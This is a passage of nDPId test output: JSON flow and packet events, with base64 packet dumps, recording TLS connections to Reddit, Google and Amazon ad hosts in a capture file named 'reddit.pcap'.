ARYcaHR0cHM6Ly93d3cuZGlnaWNlcnQuY29tL0NQUzAdBgNVHQ4EFgQUD4BhHIIxYdUvKOeNRji0LOHG2eIwHwYDVR0jBBgwFoAUA95QNVbRTLtm8KPiGxvDl7I90VUwDQYJKoZIhvcNAQELBQADggEBACM+30vSMUKltn5CXBpEzGnRaLRdS+AEIWxL4m3MseCXj6ZTCc2qKmXlOU8eg6VuXJiiJCbm+6Htk8cuAsZNSr+wQt942rOo+W3\/IYVTNmBMds7sONzWUYDwxdbl1E0nZKubxz5x+0iXuDNtyRMH7paiGxgV9lxMQO2zwuz\/ccHjR\/\/UuQC0N0LaIMnqboruFAaufaJZmIioG28t9PLJFF8mzyyNfu03wKnVObmCvxkM6jSvACFo+K1z4sky2jglC1XTmh3waIbtLkE073ylUB2\/OvnTwQgM5u0eilgl5Lh3rS1u9VLdtHSPq0kunTuTNCgfeM6U6se908ltHN5cMvMWAwMB3xYAAdsBAAHXMIIB0woBAKCCAcwwggHIBgkrBgEFBQcwAQEEggG5MIIBtTCBnqIWBBQPgGEcgjFh1S8o541GOLQs4cbZ4hgPMjAyMDExMDgwMjAyNTFaMHMwcTBJMAkGBSsOAwIaBQAEFBBfpnqACJ21J581zoMLQ4ieo8cNBBQPgGEcgjFh1S8o541GOLQs4cbZ4gIQDR33xPAIHf0NQOujujRTcYAAGA8yMDIwMTEwODAyMDI1MVqgERgPMjAyMDExMTUwMTE3NTFaMA0GCSqGSIb3DQEBCwUAA4IBAQBY+1SnH0u3ho+Y8niHMzRj8wWXBoT45DsNzWXZsZidgbnEjA4\/L6gnKwvitI4d+SX6Al6xofYE"} +01155{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":8678,"source":"reddit.pcap","alias":"nDPId-test","flow_id":44,"flow_packet_id":10,"flow_first_seen":1605291689408,"flow_last_seen":1605291689578,"flow_tot_l4_data_len":3997,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1080,"flow_avg_l4_data_len":399,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::9765:798c","src_port":56640,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Reddit","breed":"Fun","category":"SocialNetwork"},"tls": {"version":"TLSv1.2","client_requested_server_name":"gateway.reddit.com","server_names":"reddit.com,*.reddit.com","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"16c0b3e6a7b8173c16d944cfeaeee9cf","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","issuerDN":"C=US, O=DigiCert Inc, CN=DigiCert SHA2 Secure Server CA","issuerDN":"C=US, ST=California, L=San Francisco, O=Reddit Inc., CN=*.reddit.com","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1","fingerprint":"DB:E9:D5:FE:EB:EF:68:34:55:FD:62:BA:C9:BB:04:D4:E3:22:18:81"}} +01159{"flow_id":44,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8683,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291689,"pkt_ts_usec":578048,"pkt_caplen":601,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":601,"pkt_l4_len":547,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAAiMGPQBk\/5sAAAAAAAAAAJdleYwqAcsBIEmLB5kd7IUo3\/YpAbvdQHZ89goTj6OMgBgLMDSEAAABAQgKwtdF66l08y2MeNOajMtxBxZ+LVRuvUxmRODoEmjzZpUwTQHXVXdAaqEqvizNUSG+LT4vLrN7\/K4TwkEU6rRjdvl7TGJTrtCTMr2vchF3+WWRcRrbCxS19I7FpLOu0+uRp0eAJTMGW1sjp2Tl1N1sPVLUR76tvsG1UZjWq6EozImj5ue5\/NjN5pIuabHxZABwArW3iblcTRJthPe\/eXEt+vWXP7bK6pfiHfdKhr+WbtteQ+gSEhA1KkKMKnmBC2LheG29uhxtvvQ3X+xQV+7F9j4WAwMBLAwAASgDAB0gdfzHLPAZHR0tU6idUbWdeWhmleDcvOQ0xlxqvsq1k2cIBAEAJVNQrCbU7askIJmKVQKey4LKSvPWJWm\/qUrBrweaBqbT7Cr5gZvqHBU\/mFv6fQKK95vzS\/E2+F5TR45FkOs1KCwmj3aTK2P2FTjidKcmDyq29+w5JgJiMB0yE2H7MbX6DgZdfqDOhhIdoFp2UVKrWt+0QfGy\/c1R1nUH8Fn6SQtT7zH4S6DAFwDfvv\/ZnJFypcwOeTHdJ8ikpUvRXdcvAdnov2uzmB0\/d3D2RE3KK9vq2IGE5+vQOBbeKbiXK4ptDdJwHa7f0CgP7qUEzENKosP5odm\/0vXhP3XtBElzujVdYenGhLYA6UGZz0BIJ02\/t7g3aStdyZX6SGNWhNKk8xYDAwAEDgAAAA=="} +00455{"flow_id":44,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8686,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291689,"pkt_ts_usec":578053,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gCYSFACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3UABuxOPo4x2fPYKgBAB7XZKAAABAQgKqXTzvcLXRes="} +00455{"flow_id":44,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8688,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291689,"pkt_ts_usec":578060,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gCYSFACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3UABuxOPo4x2fPgNgBAB6XRLAAABAQgKqXTzvcLXRes="} +00583{"flow_id":44,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8757,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291689,"pkt_ts_usec":580568,"pkt_caplen":179,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":179,"pkt_l4_len":125,"pkt":"qtsDr8lk5EKm5WPyht1gCYSFAH0GQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3UABuxOPo4x2fPgNgBgB9ecwAAABAQgKqXTzwMLXResWAwMAJRAAACEgXdr5tAznIsP0ZYcFVU0Vp9mW5dinaB\/IC0Txi4uVK0MUAwMAAQEWAwMAKAAAAAAAAAAAYObURD76P7BRqmy0nANK1AwCnpZf9yXzOJlnIkFwHnE="} +00591{"flow_id":44,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8759,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291689,"pkt_ts_usec":581165,"pkt_caplen":185,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":185,"pkt_l4_len":131,"pkt":"qtsDr8lk5EKm5WPyht1gCYSFAIMGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3UABuxOPo+l2fPgNgBgB9WkEAAABAQgKqXTzwcLXResXAwMAXgAAAAAAAAABu4ekuHoVU7jS8MR7sSH27XAbRL1e69fImX+DRf\/j0WZSraMLPQfRpqZpC6EyneH36Ab4Rdmg5rWFB23meVfCGPLJ5PocjEgqrduJb0R75yBt8s5nrqQ="} +00513{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":9080,"source":"reddit.pcap","alias":"nDPId-test","flow_id":45,"flow_packet_id":1,"flow_first_seen":1605291690373,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"2a00:1450:4007:805::2002","src_port":51006,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00466{"flow_id":45,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9080,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291690,"pkt_ts_usec":373466,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"qtsDr8lk5EKm5WPyht1gB68TACgGQCoBywEgSYsHmR3shSjf9ikqABRQQAcIBQAAAAAAACACxz4Buz6Su2UAAAAAoAL9IFr7AAACBAWgBAIIClRf7UgAAAAAAQMDBw=="} +00513{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":9081,"source":"reddit.pcap","alias":"nDPId-test","flow_id":46,"flow_packet_id":1,"flow_first_seen":1605291690384,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"2a00:1450:4007:80b::2002","src_port":59336,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00466{"flow_id":46,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9081,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291690,"pkt_ts_usec":384370,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"qtsDr8lk5EKm5WPyht1gCvtsACgGQCoBywEgSYsHmR3shSjf9ikqABRQQAcICwAAAAAAACAC58gBu5uynDEAAAAAoAL9IAqWAAACBAWgBAIICgxmJysAAAAAAQMDBw=="} +00468{"flow_id":45,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9082,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291690,"pkt_ts_usec":396189,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACgGPSoAFFBABwgFAAAAAAAAIAIqAcsBIEmLB5kd7IUo3\/YpAbvHPls7Xl4+krtmoBJXgDq4AAACBAV4AQMDAwQCCArC10mNVF\/tSA=="} +00455{"flow_id":45,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9083,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291690,"pkt_ts_usec":396234,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gB68TACAGQCoBywEgSYsHmR3shSjf9ikqABRQQAcIBQAAAAAAACACxz4Buz6Su2ZbO15fgBAB+76yAAABAQgKVF\/tX8LXSY0="} +01152{"flow_id":45,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9084,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291690,"pkt_ts_usec":396643,"pkt_caplen":603,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":603,"pkt_l4_len":549,"pkt":"qtsDr8lk5EKm5WPyht1gB68TAiUGQCoBywEgSYsHmR3shSjf9ikqABRQQAcIBQAAAAAAACACxz4Buz6Su2ZbO15fgBgB+zbbAAABAQgKVF\/tX8LXSY0WAwECAAEAAfwDA64SJmrzxm107yvjOKaI1Pu1cjYSBc\/95exz0rjqcLhjILOfYHr0cqvSKZIJSl3WjM8QRUOiyuVNGA\/I6TMdHCRqACCqqhMBEwITA8ArwC\/ALMAwzKnMqMATwBQAnACdAC8ANQEAAZMqKgAAAAAAGAAWAAATYWRzZXJ2aWNlLmdvb2dsZS5mcgAXAAD\/AQABAAAKAAoACLq6AB0AFwAYAAsAAgEAACMAAAAQAA4ADAJoMghodHRwLzEuMQAFAAUBAAAAAAANABIAEAQDCAQEAQUDCAUFAQgGBgEAEgAAADMAKwApuroAAQAAHQAg3\/\/2kWIRuw+qhxFZZt2KiDOELUjK40mC0jcHETc2SkcALQACAQEAKwALCrq6AwQDAwMCAwEAGwADAgAC2toAAQAAFQDJAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +00831{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":9084,"source":"reddit.pcap","alias":"nDPId-test","flow_id":45,"flow_packet_id":4,"flow_first_seen":1605291690373,"flow_last_seen":1605291690396,"flow_tot_l4_data_len":661,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":165,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"2a00:1450:4007:805::2002","src_port":51006,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Google","breed":"Unrated","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"adservice.google.fr","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +00468{"flow_id":46,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9086,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291690,"pkt_ts_usec":402898,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACgGPSoAFFBABwgLAAAAAAAAIAIqAcsBIEmLB5kd7IUo3\/YpAbvnyP\/5OOmbspwyoBJXgGsCAAACBAV4AQMDAwQCCArC10mUDGYnKw=="} +00455{"flow_id":46,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9087,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291690,"pkt_ts_usec":402927,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gCvtsACAGQCoBywEgSYsHmR3shSjf9ikqABRQQAcICwAAAAAAACAC58gBu5uynDL\/+TjqgBAB++8BAAABAQgKDGYnPcLXSZQ="} +01150{"flow_id":46,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9088,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291690,"pkt_ts_usec":403285,"pkt_caplen":603,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":603,"pkt_l4_len":549,"pkt":"qtsDr8lk5EKm5WPyht1gCvtsAiUGQCoBywEgSYsHmR3shSjf9ikqABRQQAcICwAAAAAAACAC58gBu5uynDL\/+TjqgBgB+\/ThAAABAQgKDGYnPsLXSZQWAwECAAEAAfwDA4n27fFOQ6rPQPzYRqsTa+ksdP+rX8jQfVLwbnF3RpAXIBwq2w1JrwHlb\/2ndJG1eusXeLh3OPImRURXIKxQ06mYACAaGhMBEwITA8ArwC\/ALMAwzKnMqMATwBQAnACdAC8ANQEAAZOqqgAAAAAAGQAXAAAUYWRzZXJ2aWNlLmdvb2dsZS5jb20AFwAA\/wEAAQAACgAKAAhqagAdABcAGAALAAIBAAAjAAAAEAAOAAwCaDIIaHR0cC8xLjEABQAFAQAAAAAADQASABAEAwgEBAEFAwgFBQEIBgYBABIAAAAzACsAKWpqAAEAAB0AIA4zyVNHsOh16GCQNKxzMVItdEoHGWpyv6xL6OCprXNaAC0AAgEBACsACwrKygMEAwMDAgMBABsAAwIAAkpKAAEAABUAyAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +00832{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":9088,"source":"reddit.pcap","alias":"nDPId-test","flow_id":46,"flow_packet_id":4,"flow_first_seen":1605291690384,"flow_last_seen":1605291690403,"flow_tot_l4_data_len":661,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":165,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"2a00:1450:4007:80b::2002","src_port":59336,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Google","breed":"Unrated","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"adservice.google.com","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +00507{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":9089,"source":"reddit.pcap","alias":"nDPId-test","flow_id":47,"flow_packet_id":1,"flow_first_seen":1605291690405,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::345f:7ca5","src_port":46646,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00466{"flow_id":47,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9089,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291690,"pkt_ts_usec":405354,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"qtsDr8lk5EKm5WPyht1gBYjGACgGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAAA0X3yltjYBu5sO15YAAAAAoAL9IOjCAAACBAWgBAIICgKUPwEAAAAAAQMDBw=="} +00513{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":9090,"source":"reddit.pcap","alias":"nDPId-test","flow_id":48,"flow_packet_id":1,"flow_first_seen":1605291690421,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"2a00:1450:4007:80b::2001","src_port":59624,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00466{"flow_id":48,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9090,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291690,"pkt_ts_usec":421002,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"qtsDr8lk5EKm5WPyht1gBJW4ACgGQCoBywEgSYsHmR3shSjf9ikqABRQQAcICwAAAAAAACAB6OgBu5zTDYMAAAAAoAL9IIEIAAACBAWgBAIICl8E6ogAAAAAAQMDBw=="} +00455{"flow_id":45,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9091,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291690,"pkt_ts_usec":433317,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACAGPSoAFFBABwgFAAAAAAAAIAIqAcsBIEmLB5kd7IUo3\/YpAbvHPls7Xl8+kr1rgBALMLNSAAABAQgKwtdJs1Rf7V8="} +00456{"flow_id":46,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9092,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291690,"pkt_ts_usec":440083,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACAGPSoAFFBABwgLAAAAAAAAIAIqAcsBIEmLB5kd7IUo3\/YpAbvnyP\/5OOqbsp43gBALMOOjAAABAQgKwtdJtwxmJz4="} +00470{"flow_id":47,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9093,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291690,"pkt_ts_usec":440084,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACgGPQBk\/5sAAAAAAAAAADRffKUqAcsBIEmLB5kd7IUo3\/YpAbu2Nv\/zx++bDteXoBJXgLoLAAACBAV4AQMDAwQCCArC10m3ApQ\/AQ=="} +00456{"flow_id":47,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9094,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291690,"pkt_ts_usec":440123,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gBYjGACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAAA0X3yltjYBu5sO15f\/88fwgBAB+z36AAABAQgKApQ\/JMLXSbc="} +01150{"flow_id":47,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9095,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291690,"pkt_ts_usec":440589,"pkt_caplen":603,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":603,"pkt_l4_len":549,"pkt":"qtsDr8lk5EKm5WPyht1gBYjGAiUGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAAA0X3yltjYBu5sO15f\/88fwgBgB+yZ+AAABAQgKApQ\/JMLXSbcWAwECAAEAAfwDAzHDxH8OuokaXnmRWM2CrbjAfCHYM2BC4ANSO6awxT1HIBoNB1TgmMo5CTve1OPkdOp8A4hHU4yRFabWOk7A1qHlACAaGhMBEwITA8ArwC\/ALMAwzKnMqMATwBQAnACdAC8ANQEAAZPq6gAAAAAAHwAdAAAaYWF4LWV1LmFtYXpvbi1hZHN5c3RlbS5jb20AFwAA\/wEAAQAACgAKAAjKygAdABcAGAALAAIBAAAjAAAAEAAOAAwCaDIIaHR0cC8xLjEABQAFAQAAAAAADQASABAEAwgEBAEFAwgFBQEIBgYBABIAAAAzACsAKcrKAAEAAB0AIEwwmHcuEXQApsPC5EO8tn5U4uHYbi4IBrp\/HgLH72EYAC0AAgEBACsACwrq6gMEAwMDAgMBABsAAwIAAgoKAAEAABUAwgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +00835{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":9095,"source":"reddit.pcap","alias":"nDPId-test","flow_id":47,"flow_packet_id":4,"flow_first_seen":1605291690405,"flow_last_seen":1605291690440,"flow_tot_l4_data_len":661,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":165,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::345f:7ca5","src_port":46646,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"aax-eu.amazon-adsystem.com","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +02102{"flow_id":45,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9096,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291690,"pkt_ts_usec":448852,"pkt_caplen":1294,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1294,"pkt_l4_len":1240,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABNgGPSoAFFBABwgFAAAAAAAAIAIqAcsBIEmLB5kd7IUo3\/YpAbvHPls7Xl8+kr1rgBgLMByOAAABAQgKwtdJulRf7V8WAwMAegIAAHYDA0r6gcYIu098JiVNcf+9DKSZcT2Q4AlO2\/mrgJsvkLHYILOfYHr0cqvSKZIJSl3WjM8QRUOiyuVNGA\/I6TMdHCRqEwEAAC4AMwAkAB0AIDqBN6Hp79eKhjl1g89WffEA2vKdE6XDrAUovNBrfAMiACsAAgMEFAMDAAEBFwMDCcFRWqCm1+iB8eRWeD\/ZnA+EmsGTkuRdryVBcYXun\/eFvJ+tgQu4AEaHJL\/xhOlTrOHIU37yIGg94ncDKxGFb3824onlLJjEYus8Vv9M46LaHsHbs9XlAcVDSC5LClhJ7dbxVJqIrC8649lLtxw20Zfb85BgY4pg6YXWXX\/bCPGtnj+ko4niQo2C76uoj6b4A6sE1Xa2X\/se1ycku0uJMeLcAgjYkQiMY45V37EgDCuWpSzH5mTbr5ZxCyVa5u31jqOQXgzop9BKJSyFeu\/P12YOEkG4+7BM3+Q1QXICnGwUGjsuvS\/rAamiiG+KT75MPpXFk0zdbOO5h7kELAvMMfg\/u0eIvnwzF53ChvPNPTD3Bws+k\/9JxEMe4u+e9ZdeQpfdRXVQx9plvoWV+VXZM0V+yxOoDJo+4AEdNnl8dPkwLWrNMZwvUiqqwTkcvMEoeT2LbeJQ+MVQAPM7Lh15ofFhjCoVa8CLEE0L9aKPkmwTei35kKUgz6N3auHjYvy51Xv\/a1lJKWOYsbMHV2\/mBfkOStZYYAFKW1znc+dmUdUaSkPNYMl96eCD5BDpDVSMH4\/aw3EuTtFzxn9TWo\/wKdm7SqlBFSf7VsP8XLdWcHtTql\/aTr1HOm+tonWgSfVlZSLKWZdHMnmLjbiRln90R5OQO5D03VrXLVBAmoyqKWzazGzttVPHLgX+n9C3sJklCZ\/T2ec\/ZElPNuKuAZ8PVkvTg+PvIYhe8pOMqmOoV\/pMT8a1QpMi\/eVL0l4Sfl1VRlKJoGldV8MbCMFRSzhrAKqW4NbME5sYeHyuiuOlO9RVqIYxdvlej2oa3Rd15Cp7\/Rbql14Ebda2w9GcVFvbuTd0yb1PRTteHLd1bl0WYhqwbeTzoEfTZjjo8ksmxIbBineJYENMUc3qd2kKVZd1+5Gy3i5ZpYXlemOfFbmoGOqiJEgXGBYgQZu1mK2x83XlHUzGd0Gu2ZrNeA+FBFDv3H8BaEzpoJkhnIQhVfT6HFHnqWmbuLIO3lXcWWLvU3xoEsDPvf4jmhah5IqrPAE+1R6k\/17ac0LZnehQ9HMb\/vJFAxeBbLjiBtZExXPJJYFNZ2rohcRsTwYG\/jFdqQXudEpnPSizRtRnqY5J7IgZmX4V3SIHFAok9PqN9CIGOnuFaWD9vqfVn70cYPT8omFoAqSCflxMad